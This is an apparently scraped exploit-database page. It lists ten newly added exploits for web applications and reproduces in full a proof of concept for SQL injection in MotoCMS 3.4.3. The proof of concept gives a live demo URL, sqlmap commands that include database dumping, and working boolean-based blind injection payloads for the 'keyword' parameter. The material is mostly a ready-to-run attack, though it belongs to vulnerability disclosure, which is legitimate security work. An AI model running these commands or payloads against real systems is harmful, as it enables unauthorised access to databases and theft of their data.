25f2c0adca
8 changes to exploits/shellcodes/ghdb STARFACE 7.3.0.10 - Authentication with Password Hash Possible Barebones CMS v2.0.2 - Stored Cross-Site Scripting (XSS) (Authenticated) Best POS Management System v1.0 - Unauthenticated Remote Code Execution Enrollment System Project v1.0 - SQL Injection Authentication Bypass (SQLI) Faculty Evaluation System 1.0 - Unauthenticated File Upload File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE) MotoCMS Version 3.4.3 - SQL Injection Online Security Guards Hiring System 1.0 - Reflected XSS Total CMS 1.7.4 - Remote Code Execution (RCE) Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE)
29 lines
No EOL
1.2 KiB
Text
29 lines
No EOL
1.2 KiB
Text
# Title: MotoCMS Version 3.4.3 - SQL Injection
|
|
# Author: tmrswrr
|
|
# Date: 01/06/2023
|
|
# Vendor: https://www.motocms.com
|
|
# Link: https://www.motocms.com/website-templates/demo/189526.html
|
|
# Vulnerable Version(s): MotoCMS 3.4.3
|
|
|
|
|
|
## Description
|
|
MotoCMS Version 3.4.3 SQL Injection via the keyword parameter.
|
|
|
|
## Steps to Reproduce
|
|
|
|
1) By visiting the url:
|
|
https://template189526.motopreview.com/store/category/search/?keyword=1
|
|
|
|
2) Run sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1" --random-agent --level 5 --risk 3 --batch and this command sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
|
|
|
|
### Parameter & Payloads ###
|
|
|
|
Parameter: keyword (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: keyword=1%' AND 3602=3602 AND 'ZnYV%'='ZnYV
|
|
|
|
Parameter: #1* (URI)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: https://template189526.motopreview.com:443/store/category/search/?keyword=1%' AND 6651=6651 AND 'BvJE%'='BvJE |